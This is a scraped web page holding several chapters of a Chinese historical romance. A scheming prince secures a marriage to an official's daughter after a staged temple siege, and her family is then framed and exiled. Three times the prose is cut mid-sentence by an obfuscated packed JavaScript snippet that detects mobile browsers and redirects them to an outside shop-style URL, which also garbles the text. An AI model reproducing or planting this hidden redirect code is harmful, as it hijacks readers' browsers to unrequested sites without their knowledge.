不得已，寺中只好限制人数，每日不过二三十家得见上师。闵守节公务繁忙，姚凝领着两个女儿并家仆坐车到城外。行至山前，只有一条山阶蜿蜒而上，马车皆不得通行。 三人心诚，无须轿子一路走上去。 待至庙门处，闵仪怜虽鬓生薄汗，面上却轻松快意。 先去前院上香求签，求故人安康，家宅安宁，求儿女姻缘，求岁岁平安。事毕，小沙弥领各家去禅房暂歇，等待上师召见。 母女三人见院中花开正艳，便没有去后院。 闵仪怜站在树下，想着方才求的签文，似雾里看花，对前路一片迷茫。不知晋王何时又会发难，不知是否能平安归乡。 直至，一声凄惶的惊叫响起。 只见一个小沙弥从山下奔逃上来，惊慌失措地扑倒在一僧人脚下，口里哭喊：“不，不好了！山下有一伙持刀贼人围上来，是奔着杀人劫掠来的。” 僧人扶起小师弟，不顾周围纷乱的人流，压着嗓子问：“多少人？” 小沙弥疯狂地扭头：“头阵，约莫就有……几十人！我还瞧见有人绕路往后院去了。” 僧人自有一身功夫在，一眼望去大都是女眷，左右为难，一咬牙想：“对方有刀，在场之人恐不能敌。寒山寺偏僻，也不知山下的家仆们还存多少，若冒险下山报信，在场这么些女子才能求得一线生机，免受奸污。至于自己，大不了被砍几刀再死，总有个盼头不是？” 打定主意，他嘱咐小沙弥去禀告上师与住持，快步走到墙边，一个跃起攀飞而上，虚影消失在墙头。 四周惊叫连连，有不信邪的奔到门前去看，已能看到山下粗莽汉子狰狞又亢奋的肉脸，那满身是血的模样简直吓死个人，不禁疾奔着连连后退。寺中僧人将各门堵死，又请众人躲避到大殿。 闵仪怜登时腿一软，当日那一脸凶狠的歹人被拧断脖子，血浆飞溅的场景犹在眼前。她被扶住，扭头看是姚凝，颤抖着喊了一声：“娘……” 整张脸绷得死死的，姚凝大力提起长女，另一手轻拍小女后背，压声安抚：“先躲进去，相公得了消息立刻会赶来。且寺内有僧人，有各家家丁，有大门高墙，他们一时间进不来。” 三人与仆从疾步奔入大殿，佛像下俱是满脸惶恐的人。 须臾，寺门骤然传来巨大的撞击声，伴随着刻意扬高的喊杀，殿中渐响起啜泣声。 闵仪怜坐在台阶上，环抱双膝，浑身发冷。见小妹坐在旁，腾出一只手将她揽进怀里。姚凝则与家中仆从站在门前，透过缝隙注意外面的情形。 僧人们与有功夫的家丁围站在大门后，举棍握拳，若门破只能殊死搏斗。 住持立在殿门前，瘦弱的身影此刻竟尤为高大。 不知过去多久，两手被小妹奋力搓得红彤彤暖融融，闵仪怜才撑住双膝站起。环顾一圈，发现殿中还有一道小门通向后院。 细长的眉眼一瞟，她竟发现先前的小沙弥不见踪影。攥紧闵慈音的手，立刻近前附耳告诉母亲。趁人不注意，几人悄然推门移到后院。 整个后院静悄悄的，全部的门都被锁死，只角落两墙中有一道缝隙。走近去看，杂草被压倒，墙面的浮灰被衣袍掠过。 她柳眉轻蹙：“娘，他是不是……想逃？” 家中仆从无论男女皆身形健壮，又不灵活。若攀爬到屋顶更惹人注意，还会闹出动静，不如不去。 姚凝直觉不对，俯身却发现她也不能挤进去，恼怒又惧怕地一拧唇，强撑道：“先回去，等你爹！” 闵慈音自己比了比，欢喜仰脸：“我去。我个头小，躲在阴影里也不会被发觉。有任何不对劲，一扭头就能跑回来。” 刚想钻过去，她的衣领猝然被扯住。闵仪怜面色极白，甚至有几分狰狞，低喝：“糊涂！你有姐姐跑得快吗？见过血吗？能保证自己遇事不哭出声？” 闵慈音呆住，思索片刻，摇了摇头。 深呼一口，闵仪怜唇齿带笑，两眼澄亮，急喘着气：“娘，让我去看一眼。万一他惊动后山的贼寇，让贼寇溜进寺里再翻过屋顶，内殿的人就全完了。女儿……上次见过血，能保证自己不会叫出来。我，一定能回来。若真的无法也不会胡乱行事，我们一家人，永远在一起。” 袖下的指甲深深扣进肉里，姚凝含泪：“不愧是娘的女儿，有姚家人的骨气。娘与妹妹，就在原地等你。” 拍了拍脸，闵仪怜扎进狭窄的墙缝。屈膝走出七八步，探出头去看，竟发现这里原是那一排后罩房的后墙。左侧有一扇红漆小角门，院墙颇高，上带碎瓦，唯有门楗被拨开。 双目死死盯着那处，她左右瞧了许久，确定没有人，生生忍住回头的冲动，艰难迈开脚步。刚跨出去，便像被推着似的疾行冲到门前，隐约从门缝看到两道虚影，硬着头皮将门楗压回去。 刚合上，她一双手骤然死死按住门楗，正巧看见那小沙弥被一个大汉抵住脖颈，还没挣扎几下，刀光剑影中那颗头颅径直飞过来，哐当撞在门板上。 咚！ 头颅落地，眼球朝上。 猝然后退，闵仪怜脚尖打颤，扭身悄无声息地躲在门侧。将拳头塞入唇齿中，生生咬出血。她流着泪，扶住院墙缓缓靠住。 浑身无力，脑子混沌又清明。轻喘两口，她打算退至院墙之间，先回大殿歇息。 抬眼一瞧，卒然见一个男人站在对面。 山下喊杀喧天，县尉、弓兵与山贼对上。奈何蛮贼强横，颇有策略又占据高地，援兵一时不能相抗。且山贼扬言已掳了各官员家眷，若敢强攻，就杀人抛尸，同归于尽。 闵守节穿官袍站在人前，仰视山林中的寒山寺。忧愤到极点，那名报信的僧人右肋被插一刀，失血过多陷入昏迷，也不知山上到底是何情形。 回头看气定神闲的公羊青雄，他耐着性儿躬身问：“公羊长史，王爷究竟在哪里？如此危情必须增兵。” 知府空缺，东昌暂且交给晋王。晋王不在，他一介地方官，能行使的权力极小。 公羊青雄将他扯到角落，唏嘘：“这伙贼人是从兖州方向过来的，先前一直分散躲藏在城外各处。原本打算洗劫最大的法华寺，是听到慧空上师的名头，知晓近日来寒山寺的贵人如流水才转道此处，不然死伤只会更重。其中有逃兵，有匪寇，有流民，亦有帮闲无赖。闵知县，你可曾听闻过这伙人？” 闵守节脸色忽白忽黑。 他曾听过有一伙极其强横的流寇在南方沿海作乱，军纪有度已成气候。朝廷屡次围剿依旧死灰复燃，流寇一路北上，最后在河南被重兵困灭，怎么还有残支窜入临清？ “闵贤弟呀闵贤弟，先前是兖州与东昌两位知府的疏忽，现在人闹到眼前可就是你这知县的担子。此遭劫难，究竟是功还是过，你家眷性命与所有下属的前途，就在此一念间。” 电光石火间，闵守节目视那对狭长晦涩的眼睛，似乎明白什么，却又不想明白。涩然坚持：“本官自希望百姓无忧，清明太平。王爷的援兵，什么时候可以到！” 公羊青雄面色微凉，笑着摇头：“你怎么就不明白，怎么就不愿变通。”他忽而肃然，掐声问，“王爷不是天神，流寇更不是他故意放进来的。相反，他已在想办法做到死最少的人，至少……要救你。若因你的犹豫令寺中之人全部惨死，甚至慧空上师也在此殒命，你可知道会有什么后果？官位，气节，尊严，女儿的姻缘，全家的性命，到头来又能守得住什么！” 闵守节僵住，望着拼杀的兵士，终于明白没有人能逃出晋王的手掌心。是功是过，的确就在当下。他点头，王爷有法子让所有人都是功臣。拒绝，他与属下就存在过失。要安一个罪名，实在太容易了。能躲过一次，还能次次都防住，还是说晋王有耐心再给他机会？ 他瞪着眼，默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058261|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然无言。 公羊青雄嘴角泄出零星笑意，只是那笑容并不真切，他以烟火为信：“往后自己人之间不必多说。王爷的援兵顷刻便到，还有一部分就在寺中。” 闵守节大步踏去，正面以对残暴的流寇，再没顾忌，狠声一指：“上弓箭手，一个不留。” 耀目的烟花在头顶绽放，却不如猩红的血迹夺目。 闵仪怜紧紧贴住墙面，目视突然出现的男人。此刻竟不知该庆幸他不是歹人，自己已然安全；还是该犹疑，他出现在此处背后的深意。 她一言不发，嘴唇哆嗦。 利刃破开皮肉，粗暴的屠戮在院外进行。早已埋伏好的护卫轻松将虎视眈眈的流寇剿灭，身影跃进内院禀告，旋即又消失不见。 此间是牢笼，亦是避风港，温柔乡。 李桓俯视蹲在墙角台阶上，鬓发毛躁的人儿。她将杂乱的发丝捋到耳后，抚平满是褶皱的裙摆，吐出一口气缓缓站起。 她平视他，双手握拳交叠在身前，恭顺垂下眼眸，直挺挺行了福身礼。 前院渐喧闹，闵仪怜低垂着头。刚打算回去，半爿黑影笼在头顶。 高大的身躯将她完全遮挡，他垂目盯视她，瞧她在他的掌控下无力可怜，瑟瑟发抖的模样。瞧她因他劫后余生，必须顺从的姿态。 也瞧那沾血的耳垂。 怎么这般巧，偏她也在。不如，就今日。 在他直白又阴寒的眼神下，她终究承受不住，微微偏头。 忽有刹生出怜惜，他转身：“无事了，随本王去大殿。” 闵仪怜始终不语，距他约莫丈许，二人一前一后跨入正殿。姚凝与闵慈音已被兵士请回，正被堵在后方，面露担忧。 慧空上师亦在场，他身形如鹤，不急不躁为殿中人观面占卜。论起外面情形，李桓亲自安抚诸人，又朝姚凝道：“方才来时本王亲眼所见，是她将后门锁住，才未让贼人闯入寺中。如此胆识，确有其父风骨。” 姚凝身形一晃，两臂藏在大袖中，终是屈身行礼。 见李桓进来，慧空只微微顿首，目光停在闵仪怜身上，凝眉细看，浑浊的眼底闪过亮色：“这位檀越，可否近前让我一观？” 母女对视，闵仪怜双手交叠，恭顺站在他面前。抬起脸，清泠泠的眼看过去。 灵秀天成，明眸神光，自有气华。 慧空观她面相，喉中似有哑意又似想喷发而出，余光掠过她身后的人，干瘪的唇动了动，终究只道：“既来了，便将八字也呈上吧。” 期间自有兵士请众人下山，李桓却还留在殿中，忽而问：“上师，如何？” 双手放在膝上，慧空吐口：“与王爷的八字极配，是命定的夫妻。” 攥住闵仪怜一臂将她挡在身后，姚凝强撑问：“我实在愚钝，上师这话听不明白。” “夫人。寺中腥气重，有什么话，不如回去问尊夫。”瞥眼被藏在后面，已经神飞天外的人儿，李桓嘴角顿了顿，朝慧空颔首后跨出殿门。 母女三人浑浑噩噩被送下山，推开车门进去，精神萎靡，直至闵守节也坐上来，闵仪怜收了魂儿，猝然出声，满是委屈：“爹！” 闵守节亦满身疲惫，此刻妻女俱在，他一手撑额，似在自言自语，念叨：“寺中人都无碍，死去一个小僧人，山匪全歼。兵士死去十余人，县衙必当厚葬，妥善安排亲眷。”他终于看向家人，“这一次，我……竟立了大功。” 听他絮絮叨说着，掌心的痛感令人清醒，闵仪怜已然全想明白。 此番晋王与父亲都得了功绩。 剿灭匪寇令父亲高升有望，晋王则用最低的代价换取想要的一切，婚姻，名声，下属。甚至不知兖州知府，河南各道官员同他或庆王之间，是不是又存在千丝万缕的关系。 机关算尽，不差分毫，占尽一切好处。却不知，慧空上师如何也为他所用。 透过窗，她对上一双含笑的眸，惶然躲进阴影中。 翻身上马，李桓盯向车厢，先一步扭头：“走。” 12. 独处 慧空上师历经两朝，有他的卜算，闵仪怜声名远扬，此次请旨颇为顺利。连淑妃都被堵得哑口无言，就算心怀不满，也被李桓一封家信稳稳压住。 一月里，流程走得飞快。 婚期虽还未定，但京师已派出一支迎亲队伍。先将人接到宫中教导礼仪，安心待嫁，只待晋王大婚。 请功折子里，李桓细细罗列闵守节多年政绩，以及数月中接连立下的大功。又有先前被知府按压、冒领的旧功，连皇上都对这个战战兢兢、埋头苦干的小官有了印象，私下亲言“有这样的臣子，他早该坐上知府位，替朕分忧解难”。 知府乃正四品，极少有人能直接从七品跨越。原来的班子死的死，流放得流放，只余寥寥几人。朝廷另调一位快致仕的官员赴任，闵守节则为同知。以他卓著的政绩，三年后必能再次升任。 一时间，闵家双喜临门，拜访来往的同僚友朋踏破门槛，家中又要筹备搬去聊城，交接公务。虽未大张旗鼓宴饮，闵家人却少不得应酬会友。 夫妇二人人前喜笑盈盈，人后却相顾无言。 女儿要独自在京师住一年，往后除去大婚，又能再见几回。何况嫁的是晋王那般难以捉摸的夫婿，无论他日后成败，后院还有一位正妃压着。 姚凝夜里总睡不着，点一盏灯坐在外间罗汉床上，一边抹泪儿一边绣香囊、帕子，镇日想嫁妆单。又写信托付友人在京郊买房置地，恨不得把府里用几十年的婆子丫鬟全带去。 白日忙府里公事，饮酒多又头疼，闵守节两眼发懵，心力交瘁。半梦半醒躺到后半夜，见外间还亮着灯，披衣走到妻子身边坐下。 事已至此，二人时常谈到天明，翻来覆去地敲定琐事。 一口浓茶汤灌到底，往日清明的眼底淬满红血丝，闵守节几乎磨碎后槽牙，压出气声：“那个位置，必须是晋王。” 至于闵仪怜本人，一碗碗安神汤灌下去，待缓过来也能平淡接受。 不接受，又能如何？ 整日唉声叹气，不情不愿，被晋王知晓，惹恼他不知会闹出什么事。 夜里，她抱着小妹说话，又有梅川香作陪，总能睡几个时辰。外祖母一家已赶来临清，每日屋中坐满女眷，每人脸上都挂着笑，也只能笑。前几月定好的衣服首饰提前用上，各人回赠精巧谢礼，她一件件收进箱笼，预备带去京师。 月色如水，花香满庭。所有人都睡下，她倚窗侧坐，望向天井上黯淡的星辰。 此刻她却不愿打听正妃性情，不愿了解京师的晋王府。什么都不想筹备，不愿想起那人晦暗的眼睛，日后呢？当真就这样了吗？ 父亲为晋王争，她为家族与自己争，竭力生下子嗣傍身，侍奉主君与正妻。一生困在王府后宅，学习宫规，与宫眷打交道，与从前的生活完全脱节。 先生，若是你会如何做？ 她兀自轻笑，狠狠摇了摇头。她与先生追求的，从来不同。 拂去肩头落尘，经过矮榻时却见梅川香眼尾濡湿。轻纱扬起，她缓步走入内室。 翌日，晋王处送来几只箱笼，俱是平日用的精巧物件。玉顶珍珠伞，秋月琴，白玉砚，草虫花鸟图，金字扇，太湖石摆件。 还有一件外贡的西洋镜，镜背附一张字条。 李桓，要见她。 若在平民百姓或官宦人家，已许婚的男女在亲长面前可以相见，便是私下独处片刻也无妨。但这是天家，婚前如此未免不妥。 生怕他直接来家里，再令爹娘难堪伤神，午后，她只带梅川香去那座茶楼。三层密闭包厢内，只李桓一人，见她在屋中仍戴帏帽，他却也只是一笑了之。 梅川香从外缓缓将门合上，心道：“乐什么？小姐是不想看到你的脸，不想露出厌烦的表情被发现！”扭头见公羊青雄一张老脸也含笑，她登时神情紧绷，恭敬侍立在外。 “坐。”屋内只剩二人，李桓闲适陷入椅中，“礼物可还喜欢？” 闵仪怜坐得端正，脊背直挺，轻声回：“能得王爷的礼，是臣女之福。” 李桓不语，眉梢微动，本以为她会称病不来，抑或主动开口询问寒山寺之事。未料人应邀前来，却意外地沉默。 茶盏滚烫，他却不觉，粗粝的指腹扣得更紧。滚茶入喉，忽然吐声问：“杨世子，与你父亲可曾私下见过？” 请婚的折子是秘密呈往宫中的，若杨俭能知晓，还快他一步提前打点各位住持，令母妃听到不利闵氏的传言…… 只能是闵守节不愿令女儿入府，投向杨家主动告知。抑或她自己，不经意向杨俭透露他欲与闵家结亲。 她知晓杨俭的心思么？ 想必是能察觉出的。 纱中朦胧的眸透出怔色，闵仪怜略有惶恐地起身，朝他万福：“父亲与世子如何，臣女并不知晓。臣女斗胆，父亲性子孤僻纯粹，与世子从没有公务上的往来，私底下有什么理由会面？王爷定是，误会了。” 若不是知道她平日的模样，面前端方守礼的女子好似只是普通官眷，与旁的待字闺中的小姐并无不同。 面色稍霁，他姑且先“信”这套说辞。 宋国公府累世官宦，又有爵位在手，近些年虽刻意低调，世子却也会娶一位家世相当的妻子。闵家，从来不在其姻亲范围内。 杨俭还眼巴巴盼着，待闵守节升任就能与家中周旋。可惜，赐婚的旨意与赴任文书只间隔一日，眼下他人还在府中，终日闭门不出。 倦足的眸中隐含轻蔑，墨守成规终究慢他一步，李桓沉声问：“怕什么，本王不是在诘问你。你难道不好奇……慧空上师？” 闵仪怜眼睫低垂，轻咬唇做局促状。 慧空名满天下，又受过太祖礼遇，自不会被李桓威胁，更不追求权势，不惧怕死亡。若有所求，不如直接去求皇上，以皇上对佛法的痴迷程度，何有不应的？ 能打动他出山，只能是他一生追求的卜卦相面。再深些，她猜不出。 一寸寸打量她藏在薄纱后的面庞，李桓漫不经心问：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058262|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早先公羊青雄拿你我八字捧给上师，的确是命定夫妻，这一点本王可逼迫不了他。他从不为王室子弟相面，见到本王也面色如常，却提出想见一见你。事后只同本王说你有福运，乃长寿之相。闵仪怜，你说，你的面相是不是贵不可言？” 闵仪怜依旧站着，态度恭敬：“上师乃天上人，他的判词臣女不能参透。”又低声请求，“还请王爷不要为难臣女，臣女实在不懂这些。” 平日牙尖嘴利，与他独处反倒装作端肃。若不是慧空对闵氏的面相生出好奇，他的确还要费一番工夫才能将人请来。婚事既定，他可以忽视在京师为闵家扭转局面的人。 但也仅是这一次。 门窗紧闭，包厢内闷热，热茶已温凉，吃尽余下半盏。瞧她似站不住，想起那日血沫横飞的惨象，他仰身嘱咐：“你父亲在地方待五六年，日后时机成熟，自会将他调入京师阖家团聚。明日本王就会离开，迎亲的车队要慢些，约莫半月才能将你送往宫中。” 弯膝行礼，闵仪怜一概全受。 微风拂过面颊，直到坐上马车，她才觉笼罩在头顶的窒息感减轻。 站在三楼看脚下流淌的车马，李桓转身回去。刚出房门，过道另一侧厢房的门恰巧被推开，一个锦袍华服的公子从里面走出来。 李桓脚步微顿，朗声问：“世子，今日怎有兴致来茶楼？” 见他背身伫立，一副悠然自得的姿态，杨俭又悔又哀。不禁想起闵小姐已是对方选定的妃妾，往后再无相见的可能，年轻的躯体便有一股急火翻涌不息。 眼前的脸是那样的春风得意，晋王已定正妃，已将闵知县收入麾下，为何还要纳他的女儿？还偏要请旨！ 若无圣旨，一切还能挽回。哪怕令闵小姐以秀女的身份参选，使巧计落选后，依旧能与宋国公府结亲。可眼下天下皆知，又有慧空上师在，除晋王她谁都嫁不了。 除非去道观做姑子，明面上他也再无机会。他略有失态，行礼后匆忙扶楼梯下去。 李桓来时低调，回京师亦然。一行人整装待发，趁天色泛白与杨俭的队伍一道乘船离开。 又过数日，迎亲队伍也抵达临清。 与闵守节姚凝拜别，闵仪怜环顾府门。小妹两眼泪盈盈，亲近的家人俱在，只缺外祖父与三个舅舅。他们本已坐最快的渡船一路北上，却还要几个时辰才能到码头。 教习嬷嬷并一位太监等在门前，该说的话已尽，她独自坐上马车，几个仆从都在后面的车上。昨日才来，不过休整一夜，迎亲队伍立刻要返程回去。 撩开帘子，看着渐渐后退的诸人，她轻喊：“爹！娘！慈音……” 人影越来越飘忽，消散在水面的波澜中，一茬又一茬。站在船头看临清，繁华的街市一如从前的每一日，一排并一排的船只停在渡口。大汗淋漓的挑夫，行色匆匆的客商，沿河叫卖的船家，当真好热闹。 从此以后，只是少一个她。 当日傍晚，姚家人刚入渡口，猝不及防全被扣下。 13. 弃子 庆王的回敬来得猛烈。 这一次他没有直接找李桓的麻烦，反而剑走偏锋，将矛头对准闵守节。 六艘标船俱被搜出大量私盐，与盐引该兑的数量完全不符。其中一艘船舱夹层内，又搜出倭国以及南洋诸藩的货物。 贩卖私盐本就是重罪，数额又如此庞大。再加本朝近些年，严禁百姓与外邦通商，只开放渡口供特定商人与外商往来。 接连两条重罪，简直是骑在朝廷脸上叫板，损的是大周利益。 姚家四人连同随从直接被押往聊城，盐院查办，甚至惊动巡盐御史。这位有些来头，与宫中存着千丝万缕的关系，雷霆手段下，船上几名伙计扛不住酷刑招供画押。标船如何获得私盐，从哪里运送，沿途又贿赂哪些官员，条条件件极为清晰，案子极快审理结束。 确有行商私下靠盐业与偷运列国货物牟利，若换平日，花费钱财打点也能囫囵过去。但姚家不同，有闵守节这个为官的女婿，即便面对滔天的暴利，说什么他们也不会沾染，生怕影响女婿的官途。 明知其中有猫腻，扛着压力，闵守节依旧去问，皆被挡回。回家时，男女老少一群人都坐在堂中，眼巴巴等他开口。 姚凝撑身站起，上前接过他脱下的官帽，夫妻眼神对上便已全部明了。她痴痴愣在原地，反应过来又去看自己的母亲。 老人家历经风浪，又有几个媳妇孙辈在身边，尚能稳住。 看到岳母虚白一张脸，闵守节心口愈发绞痛。姚家几人犯的是死罪，又被各方盯着，要翻案很难。那位御史分明就急着结案，在谋划何事他能察觉出。 风雨欲来，现在他是两家的主心骨，他不能倒。人要救，先活着才谈未来。既已上晋王的船，那就去求晋王。 想必现在，对方也接到消息了。 未曾想，第三日府中就来人围了县衙。先将姚家人全部带走，连闵守节也被拘在家中。 顺标船一路查，又牵扯出这些年姚家为引，令闵守节与各地方官员勾结，广开方便之门，大肆吞并临清各业税赋。又在山西老家购房置业，买奴买地。 其中有县丞做证，交出大量证据。从山西祖宅族人家中确搜刮出几十箱金银珠宝，以及地契房契，来源却说不清楚。 年轻的巡按御史义愤填膺，当即上书朝廷，狠狠弹劾了这位还未就任的同知大人。言辞之激烈，直指闵同知搜刮民脂民膏，还摆出一副清官姿态，枉费皇上的金口。 皇上知道后，很不高兴。 这一团乱的消息传到李桓耳中时，朝中已有人为如何处置此事上书。事涉新政，又有多名官员牵扯在内，甚至庆王亲自站出来指责，他必须争。 若说闵守节贪墨，他不信。但远在山西的族人恐怕真的拿过好处，才会被人当作靶子，令其彻底陷于劣势，有口说不清。 至于姚家，只能尽力。 可一方是妻族，一方是族人。桩桩件件，真真假假，闵守节轻易摘不出去。治家不严还算轻的，怕只怕…… 果然，庆王据理力争，愿学三弟为父皇分忧，协同查办与审理。他咬死闵守节受贿，理应重罚以儆效尤。言下之意，甚至想再往深查，偏要揪出什么人。 二王连日在朝堂争得面红耳赤，皇上最后敲定，判闵家流放辽东充军。 冷眼凝视皇兄得意又快活的脸，李桓最后看向坐在御座上的人。 那是什么神情呢？ 父皇眼底掠过不可察觉的笑，在为皇兄终于学会反击而欣慰。 即便这一招如此低劣。 至于他手中从山东传回的证据，从始至终父皇都不在意。闵守节这样的臣子大周遍地，前仆后继，哪比得上教会儿子重要。压下眼中阴鸷，他面色如常，既能将投入死牢改为流放，日后也能将人捞回来。 九月的京师秋高气爽，云烟如纱，缥缥缈缈。催生出万艳瑰丽的红，凉风顺着运河直下东昌。纷纷热血落满地，在千百双眼的静默注视中，视线交错，人头滚下高台。 无人能来殓尸，只用破草席裹了丢去荒地。 姚家内眷被罚为官奴，老夫人骤然遭受巨变，当日便合眼离去。三嫂不堪受辱，带着孩子撞了柱。 姚凝身穿孝服，收起所有眼泪，与闵守节带着闵慈音上路。只是在出发前遥望西北，转目却见相公鬓生白发，身形佝偻，不禁又潸然泪下。 临清百姓不能送，不敢送。也有人听信罪名，悲愤交加，夹道大骂。 乾清宫。 显顺帝执笔写字，瞧李桓立于下首，又垂目不语。良久，大太监上前奉茶，他润了润喉才开口：“你不来，朕倒是忘记还有一人。有这样的父亲，闵氏已不适合侍奉在你身侧。” 李桓面色平寂，拱手道：“她是儿的次妃，已非闵氏女。若因此事退婚，未免显得天家无情，不如折中，将她以选侍的身份纳入王府。” 显顺帝含笑：“还没上玉碟，急什么？人总在外宫也不合规矩，朕顾念你，就不让她随闵家北上做军户。改为充入内廷为婢，如何？” 李桓仰面，面容松动，再次请求：“父皇……” 御案上的声音轻飘飘的，带着不容置喙的威严：“一介罪臣之女，即便做你的侍婢也不配。好了！回王府去。” 李桓压眉，深深一拜，转身走出乾清宫。 车马出承天门，经长安街，一路向北过护国寺，便至晋王府。 他径直步入偏厅，左右正候着七八位幕僚。公羊青雄立在门前，待他坐在椅上，才双手并拢听凭吩咐。指节叩在面额，李桓阖眼，缓声问：“庆王，如今在做什么？” 公羊青雄答：“正与门下幕僚宴饮。半个时辰前，庆王府两名侍卫骑马出城，属下查探后，怀疑他二人的目的地正是辽东方向。” 顿了顿，他又道：“据庆王府的密线说，庆王本想以闵守节刺王爷一刀，现下还在想这事儿。那二人此行目的无非是威逼利诱，让他攀扯王爷。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058263|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀起眼皮，李桓凝视案前的玉盏。 闵守节本就是被他逼迫站队，眼下孤立无援又知晓他部分秘事。 妻女在身边，难保不会反水。 思及此处，黑漆漆的眼珠转动，凌厉视线射过厅中众人，最后依旧落在公羊青雄面上。他久不出声，终究令其近前，嘱咐几句后仰靠在太师椅中。 庆王…… 想来近日父皇看他二人相斗，虽欣喜皇兄有所长进，却也感到腻烦。毕竟父皇年岁渐长，对许多事都失去耐心。他就消停些时日，再为朝廷谋一笔钱财。 直至日落西山，事情有了对策，他才朝公羊青雄示意。忽见孙高义站在外面，那张肥胖的面上隐有急色，抬手令其进来。 二人交错走过，孙高义踏入厅中，含糊道：“殿下，不久前宫中派出一队宫人，瞧着是往城外去了。” 李桓眸光凝滞，甫一起身，便有机灵的幕僚规劝：“王爷，来日方长。” 左右不过是一女子，若王爷实在舍不得，人就在宫中，就在眼皮下。待成就大事，还怕日后朝皇上讨不来一个宫女？ 人却已大步出门，却又停住。吩咐孙高义几句，李桓才令人备马，携护卫快马出城。 浓云积重，暮阳将落，一缕缕洒在庭中。满院寥寥，无山无水，只一间四四方方的小院。 闵仪怜独自坐在临窗的矮榻上，看窗下一队小蚂蚁搬家。 此处是京师外一座偏宫，供帝王外出归来暂歇。有时进京的皇族，外来的番邦使臣也会入住。 迎亲队伍本该将她送入内宫教养，队伍临近城门时却被勒令暂歇偏宫。连日来随行嬷嬷与太监全都没有露面，只梅川香陪在身边，每日有一小婢女送饭。 她虽有不好的预感，却希望是婚事又出问题。哪怕被送回临清与青灯古佛作伴，也总比与晋王朝夕相对强。 却有一队人前来收拾行囊，隔着院墙，并不能听清楚。 脚步声由远及近，教习嬷嬷推门进来。 见她坐在矮榻上，姣好的面容溺在光晕中，纤纤弱弱的，不过才十几岁的年纪，依旧那副平静如水的涵养，嬷嬷不禁生出几分同情。曾经的官家小姐，一旦入宫为婢，只怕没几年就能被磋磨挤兑得骨瘦如柴，却还是硬声道：“闵氏。” 闵仪怜起身做万福礼，答：“嬷嬷。” 之后的话如同在听天书，五雷轰顶，气血上涌。即便亲身经历过人头落地，也不及此刻心脉受损，眼前发黑。 她跌回榻上，头顶魔音还在继续。 嬷嬷说…… “闵同知贪墨受贿，侵吞田产，数罪并罚，现被流放辽东。有山西商贾姚万泉等人，贩卖私盐已被问罪抄斩。皇上顾怜，令你入宫不必北上。闵宫人，半个时辰后你随队伍走。万望，顾念自身。” 两侧有人进来收拾，她猛地站起，上前欲追问却被拦下，手脚绵软几乎站不住。 挣扎间，一人踹门而入。